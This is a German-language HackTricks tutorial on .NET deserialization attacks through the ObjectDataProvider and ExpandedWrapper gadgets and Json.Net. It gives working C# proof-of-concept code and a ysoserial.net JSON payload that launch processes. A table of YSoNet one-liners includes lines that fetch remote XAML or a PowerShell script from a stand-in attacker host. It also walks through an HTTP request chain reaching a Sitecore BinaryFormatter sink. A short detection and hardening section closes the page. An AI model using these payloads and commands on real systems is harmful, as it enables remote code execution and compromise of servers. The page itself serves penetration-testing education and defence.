Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, und Json.Net)

Reading time: 10 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Dieser Beitrag widmet sich dem Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.

ObjectDataProvider Gadget

Aus der Dokumentation: die ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu kapseln, MethodParameters zu verwenden, um beliebige Parameter zu setzen, und anschließend MethodName zu verwenden, um eine beliebige Funktion des Objekts mit den angegebenen Parametern aufzurufen.
Daher wird das beliebige Objekt während der Deserialisierung eine Funktion mit Parametern ausführen.

Wie ist das möglich

Der Namespace System.Windows.Data, zu finden in der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.

Mit dnSpy können Sie den Code der Klasse, die uns interessiert, inspizieren. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Wie Sie sehen können, wird beim Setzen von MethodName base.Refresh() aufgerufen. Schauen wir uns an, was das macht:

Ok, sehen wir uns weiter an, was this.BeginQuery() macht. BeginQuery wird von ObjectDataProvider überschrieben und das ist, was es tut:

Beachte, dass am Ende des Codes this.QueryWorke(null) aufgerufen wird. Schauen wir, was das ausführt:

Beachte, dass dies nicht der komplette Code der Funktion QueryWorker ist, aber es zeigt den interessanten Teil: Der Code ruft this.InvokeMethodOnInstance(out ex); auf; dies ist die Zeile, in der das Methoden-Set aufgerufen wird.

Wenn Sie überprüfen möchten, dass allein das Setzen von MethodName dazu führt, dass es ausgeführt wird, können Sie diesen Code ausführen:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Beachte, dass du als Referenz C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll hinzufügen musst, um System.Windows.Data zu laden.

ExpandedWrapper

Beim Einsatz des vorherigen Exploits gibt es Fälle, in denen das object als eine ObjectDataProvider-Instanz deserialisiert wird (zum Beispiel beim DotNetNuke vuln, mit XmlSerializer wurde das object mittels GetType deserialisiert). Dann besteht no knowledge of the object type that is wrapped in der ObjectDataProvider-Instanz (z. B. Process). You can find more information about the DotNetNuke vuln here.

Diese Klasse erlaubt es, die Objekttypen der Objekte, die in einer Instanz gekapselt sind, anzugeben. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp zu kapseln und die Eigenschaften bereitzustellen, die wir benötigen (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters).
Das ist sehr nützlich für Fälle wie den zuvor dargestellten, denn wir können das ObjectDataProvider in eine ExpandedWrapper-Instanz einbetten und beim Deserialisieren wird diese Klasse das OjectDataProvider Objekt erstellen, das die in MethodName angegebene Funktion ausführen wird.

You can check this wrapper with the following code:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Auf der offiziellen Webpage wird angegeben, dass diese Bibliothek ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider gadget deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine RCE auslösen.

Json.Net example

Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisiert/deserialisiert:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusing Json.Net

Mit ysoserial.net habe ich den Exploit erstellt:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In diesem Code kannst du den Exploit testen, führe ihn einfach aus und du wirst sehen, dass calc ausgeführt wird:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Die ObjectDataProvider + ExpandedWrapper-Technik, die oben eingeführt wurde, ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET-Deserialisierung durchführt. Moderne Red‑Team-Tools wie YSoNet (und das ältere ysoserial.net) automatisieren die Erstellung von sofort einsetzbaren bösartigen Objektgraphen für Dutzende von Gadgets und Serialisierungsformaten.

Unten steht eine komprimierte Referenz der nützlichsten Chains, die mit YSoNet ausgeliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Erzeugung der Payloads.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateBeschädigt den DelegateSerializationHolder-Eintrag, sodass der Delegate nach der Materialisierung auf jede vom Angreifer bereitgestellte Methode zeigt (z. B. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorNutzt System.Workflow.ComponentModel.ActivitySurrogateSelector, um die .NET ≥4.8 Typ‑Filterung zu umgehen und direkt den Konstruktor einer angegebenen Klasse aufzurufen oder eine C#-Datei on‑the‑fly zu kompilierenBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourNutzt die legacy XML-Darstellung von System.Data.DataSet, um beliebige Typen zu instanziieren, indem die <ColumnMapping> / <DataType>-Felder gefüllt werden (optional mit gefälschter Assembly via --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsAuf WPF-fähigen Laufzeiten (> .NET 5) ketten sich Property-Getter bis zu System.CodeDom.Compiler.CompilerResults, und dann wird eine DLL, die mit -c angegeben wurde, kompiliert oder geladenJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (Überblick)Verwendet WPF System.Windows.Data.ObjectDataProvider, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische --xamlurl-Variante hinzu, um das bösartige XAML remote zu hostenBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Betten ScriptBlock in ein System.Management.Automation.PSObject ein, das beim Deserialisieren in PowerShell ausgeführt wirdPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Alle Payloads werden standardmäßig an stdout ausgegeben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).

Building / Installing YSoNet

Falls keine vorkompilierten Binärdateien unter Actions ➜ Artifacts / Releases verfügbar sind, richtet der folgende PowerShell-Einzeiler eine Build‑Umgebung ein, klont das Repository und kompiliert alles im Release-Modus:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Die kompilierte ysonet.exe befindet sich dann unter ysonet/bin/Release/.

Erkennung & Härtung

  • Erkennen Sie unerwartete Kindprozesse von w3wp.exe, PowerShell.exe oder jedem Prozess, der nutzerübermittelte Daten deserialisiert (z. B. MessagePack, Json.NET).
  • Aktivieren und erzwingen Sie Type-Filtering (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.), wann immer der veraltete BinaryFormatter / NetDataContractSerializer nicht entfernt werden kann.
  • Soweit möglich auf System.Text.Json oder DataContractJsonSerializer mit whitelist-basierten Konvertern migrieren.
  • Blockieren Sie das Laden gefährlicher WPF-Assemblies (PresentationFramework, System.Workflow.*) in Webprozessen, die diese niemals benötigen sollten.

Praxisbeispiel (Sink): Sitecore convertToRuntimeHtml → BinaryFormatter

Ein praktischer .NET-Sink, erreichbar in authentifizierten Sitecore XP Content Editor-Flows:

  • Sink API: Sitecore.Convert.Base64ToObject(string) kapselt new BinaryFormatter().Deserialize(...).
  • Trigger-Pfad: Pipeline convertToRuntimeHtmlConvertWebControls, die nach einem Geschwisterelement mit id="{iframeId}_inner" sucht und ein value-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird als string gecastet und in das HTML eingefügt.

Minimales End‑to‑End (authentifiziert):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen werden während der Deserialisierung ausgeführt). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.

Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:

Sitecore

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks